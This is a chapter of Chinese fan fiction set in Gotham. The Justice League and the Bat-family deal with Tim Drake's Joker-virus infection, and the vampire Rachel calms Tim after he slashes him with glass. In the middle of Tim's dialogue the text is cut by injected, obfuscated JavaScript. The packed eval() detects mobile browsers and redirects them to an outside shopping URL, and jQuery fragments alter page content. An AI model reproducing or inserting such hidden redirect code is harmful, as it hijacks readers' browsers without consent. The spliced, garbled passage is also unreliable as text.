113.第 113 章

作品:《【综英美】COSER来到他忠诚的哥谭

    “蝙蝠侠怎么样了?”戴安娜走到坐在月球上的克拉克身边,拍了拍蓝大个的肩。


    “我不知道……他说他没事。”克拉克的眼中满是悲伤,几乎要被内疚压垮了,“但怎么可能呢?他亲眼看着他的孩子被……怎么可能没事呢……都是我的错,他呼叫了我,但我没到场……”


    “克拉克,这不是你的错。”戴安娜叹了口气,“谁也没想到会有突然的火山爆发,你已经尽快赶到了……”


    “我是他最好的朋友,我让他呼唤我,我承诺他我一定会到……”克拉克双手捂住了脸,“我怎么能迟到……”


    戴安娜也低下头,她不知道该怎么安慰克拉克,于是问道:“蝙蝠侠,他在做什么?”


    听到戴安娜的疑问,克拉克显得更忧虑了:“他——他一遍又一遍地看那段录像。我尝试阻止他,但没用……你知道的,他很固执。”


    戴安娜噌的站起来,英勇的女战士眉宇间显露出怒火来:“我们不能让阿卡姆骑士再伤害我们的朋友。”


    克拉克看向戴安娜。


    戴安娜继续道:“阿卡姆骑士了解蝙蝠侠,所以骑士总能针对他。但骑士没那么了解我们。”


    “你是说,”克拉克有些犹豫,“我们去抓捕阿卡姆骑士?可是蝙蝠侠说交给他处理……”


    “那就先不告诉蝙蝠侠,等我们搞清楚到底怎么回事再和他说。”戴安娜的手下意识搭在了腰间的真言套索上,“而且,我也无法容忍骑士这种蓄意挑起争端的行为。”


    克拉克的表情变得坚毅起来:“你说得对。不过我现在听不到阿卡姆骑士的心跳。”


    戴安娜问道:“蝙蝠侠有说过关于敌人的情报吗?”


    克拉克的表情变得的困惑:“蝙蝠侠说,‘敌人是命运’。”


    戴安娜怔了一下:“什么意思?”


    克拉克看向静静转动的蓝色星球:“我不明白。”


    ————————————


    “我不明白,”迪克在蝙蝠洞里打转,“你怎么得出敌人不是阿卡姆骑士的?你亲眼看到他……”迪克突然住了口,看向蝙蝠侠,“抱歉,我不是在指责你,布鲁斯……”


    蝙蝠侠没说话,他再次回看着那天的录像,按下暂停,看向迪克:“‘你永远、永远都会这样慢一步’‘到底是命运格外憎恶你,还是对你钟爱有加,才会让你像重力一样,将周围的人拖入漩涡。’‘世界没有正义的位置,唯有邪恶永恒。’……你怎么看?”


    “我觉得他恨你。”迪克看着阿卡姆骑士的影像,愤怒让他话语刻薄起来,“也许这个家伙有过什么悲惨童年,然后怪罪到你头上……这种人阿卡姆里多的是,毫不奇怪。”


    蝙蝠侠没有评价迪克的看法,他收回目光,道:“他在说,蝙蝠侠是被针对的,蝙蝠侠身边的每个人都会有危险。而这个世界,是正不胜邪的世界。”


    “好吧,他是一个陷入自我幻觉的疯子。”迪克强压愤怒,“那又怎么了?!”


    “也许不是。”蝙蝠侠说,“神奇女侠也说过类似的话,她说,世界就是坠了铅一样,每天都在向深渊滑落。”


    迪克怔了片刻,喃喃道:“你没和我说过这个……”


    “我不想你担心。”蝙蝠侠说,“我猜这也是骑士曾经对提姆说,他得是个坏人的原因。”


    “因为只有是坏人的时候,计划更可能成功……”迪克跟上了蝙蝠侠的思路,又陷入了新的困惑,“好吧,假如真的像你所说,他对我们没有敌意,那么他为什么要伤害提姆?他应该知道我们有小丑病毒的血清……”


    “我们没有。”蝙蝠侠转回头,从电脑上调出了一份实验报告,“我从壁炉里找到的提姆的血液残留,从里面分离出了一种特殊的小丑病毒。目前所有的血清都对这种病毒无效。而且,这种病毒侵染特别快,几乎在感染之后的半个小时内就让所有实验动物的大脑发生了物理异变。


    我让蝙蝠电脑设计新的疫苗,目前为止,还没有成功。”


    “这就是骑士一直认为的‘蝙蝠侠会发疯’的原因?因为你可能感染小丑病毒?”迪克若有所思,旋即皱眉道,“但我们可以关着提姆,直到我们做出解药。骑士完全可以把提姆交给我们,他为什么要这么极端?”


    “也许他有起死回生的办法,就像拉撒路之池。”蝙蝠侠说,“否则我不明白他有什么必要抢走提姆。那时候超人随时可能出现,他已经处理掉了威胁,没必要冒这样的风险。”


    “这都是你的猜测,布鲁斯。”迪克提出质疑,“你怎么确定。”


    蝙蝠侠盯着哥谭市的监控网路,电脑屏幕映照在他的蓝色眼眸中,泛起无机质的光:“我会找到他,找到提姆。”


    “如果……”迪克看着蝙蝠侠平静的脸,试探着问道:“如果,你找到他,你要做什么?”


    蝙蝠侠注视着录像上,提姆了无生气的脸庞,静默无言。


    直到迪克以为他不会再说话了。


    “我不知道。”蝙蝠侠说。


    ————————————


    “阿嚏——”瑞秋打了个喷嚏,搓了搓胳膊,问急冻人,“你是不是把温度开得太低了?”


    急冻人瞥了他一眼:“吸血鬼也会感冒吗?”


    “我希望是我感冒了。”瑞秋抹平了竖起来的汗毛,“进度怎么样了?”


    “这才过去三天,你指望能有什么结果?”急冻人不耐烦地看着瑞秋,“你为什么不去看你的小鸟?”


    瑞秋识相地缩了回去,不敢撩拨工作中的科研人员。于是他轻手轻脚地溜出了实验室。


    提姆正躺在一间单独的隔离室。


    瑞秋走进来,坐到提姆的床边:“嘿,小鸭子,你感觉怎么样了?”


    提姆撑起身,有些虚弱的靠在瑞秋身上:“抱歉……我还是感觉有点无力。”


    “这样啊”瑞秋的声音依旧轻松,手臂自然地环过提姆的肩膀,将他虚弱的身体更稳地拥住,提供一个支撑点。“没事的,你的身体再排出那些脏东西,会有点无力感,这需要时间……”他微微偏头,想给提姆倒杯水。


    就在他视线移开的刹那!


    倚靠在他怀里的提姆,那双原本透着虚弱茫然的蓝眼睛深处,一丝幽绿猛地浮现!紧接着,提姆一直蜷缩在被子下的右手快速抽出——指缝间赫然夹着一片边闪着寒光的碎玻璃!这显然是他不知何时偷偷藏起、打磨过的“武器”。


    “哈——!”一声短促而癫狂的笑声从他喉咙里迸发。玻璃片带着狠劲,径直划向近在咫尺的瑞秋毫无防备的脖颈!


    “噗嗤!”


    锋利的玻璃边缘深深嵌入皮肤,割开一道不浅的口子。伤口顿时涌出一些红黑纠缠的怪异血液。


    电光石火间,瑞秋立刻压制住了反击或震开提姆的本能,双臂骤然收紧,将提姆完全禁锢在自己怀中。他的力量远超此刻虚弱的提姆,任凭少年如何挣扎、扭动、甚至用头撞击他的胸膛,都纹丝不动。


    提姆眼中疯狂更盛,握着玻璃片的手不断挣扎,似乎还想继续切割的动作。


    “放开我!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899289|183424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哈哈哈!杀……杀了你!”提姆的声音变得尖利破碎,语无伦次,眼中绿光闪烁,疯狂大笑完全失去自控一般。


    瑞秋一言不发,只是沉默地抱着他。


    血液顺着他苍白的脖颈流下,浸湿了衣领,但他仿佛毫无所觉。他将下巴轻轻抵在提姆剧烈起伏的头顶,任由那疯狂的踢打和嘶吼持续。


    时间在无声的对抗中流逝。


    提姆的挣扎从剧烈逐渐变得疲乏,那癫狂的嘶喊也变成了断续的、夹杂着痛苦哽咽的呜咽。眼中的幽绿荧光如潮水般缓缓退去,那双蒙着水雾的蓝色眼眸再次浮现。


    终于,当最后一点疯狂的冲击暂时消退,提姆的身体彻底脱力,软在瑞秋怀里,只剩下无法抑制的剧烈颤抖。


    “对……对不起……杰森……我、我不想……我不知道为什么会……”他语无伦次地道歉,眼泪汹涌而出,混合着之前疯狂挣扎时的汗水,狼狈不堪。他看到了瑞秋脖颈上那道正在以肉眼可见速度愈合、但依旧残留着血迹的伤口,巨大的罪恶感和恐惧几乎要将他淹没。“我伤害你了……我又……我又控制不住……”


    瑞秋这才稍微放松了怀抱的力度,但依然没有松开。他抬起一只手,以稳定的节奏轻轻拍着提姆剧烈起伏的后背。


    “嘘……没事了,提姆,没事了。”他的声音轻快又平稳,像一个轻浮的街头小子,却带着一种奇异的安抚力量,“不是你的错。你听到了吗?这不是你的错。”


    他稍微拉开一点距离,让提姆能看着自己的眼睛。那双全黑的眼眸一片安宁,像是沉静黑夜。


    “你只是病了,提姆。病毒还在影响你,就像高烧时会说胡话一样,受伤会流血。这没什么大不了的。”瑞秋说着摸了一把自己的伤口,将血液擦去,露出一片光洁的皮肤,“残留的疯狂想控制你,那不是真正的你。你在和它战斗,你已经做得很好了。”


    提姆的哭声变成了压抑的抽泣,他摇着头,眼神充满了自我怀疑和疲惫:“我……我好害怕……我怕我又会……变成那样……伤害别人……我宁愿……”


    “嘿!你可是罗宾!”瑞秋打断他,语气罕见地带上了强硬,“你是孩子们的英雄!怎么能说这样的话?这可带坏小孩子了。”


    说到这,瑞秋的语气又柔和下来:“听着,提姆。你不需要害怕,也不需要有任何压力。”


    他重新将提姆揽近,让少年的额头抵着自己的肩膀,声音如同耳语,却字字清晰:


    “你想发疯就发疯。想砸东西就砸。想攻击我也可以。没关系的。”他感觉到怀中的身体猛地一颤,继续缓缓道,“因为我就在这里。我不是人类,不会死亡;我也不需要休息,可以一直陪着你。”


    “所以,你不必担心会做出什么让自己无法接受、无法挽回的事情。因为我会看着你的。”瑞秋的声音越来越轻,“你只要让自己更轻松一点,给自己一点时间,一切都会好的,我保证。”


    提姆的抽泣声渐渐低了下去,紧绷到极致的身体在瑞秋稳定的话语和怀抱中,一点点松弛下来。那令人窒息的恐惧和自我憎恶,似乎暂时退却,留出了一小块可以喘息的空间。


    “杰森……”


    “嗯?”


    “我不会变成小丑的,对吗?”


    “不会的,绝对。”


    瑞秋维持着拥抱的姿势,感受着怀中少年逐渐平缓的精神,纯黑的眼眸望向隔离室苍白的天花板。他知道,这屎一样的命运不会放过任何一个搞事的机会。


    但没关系,穿越者有的是力气和手段。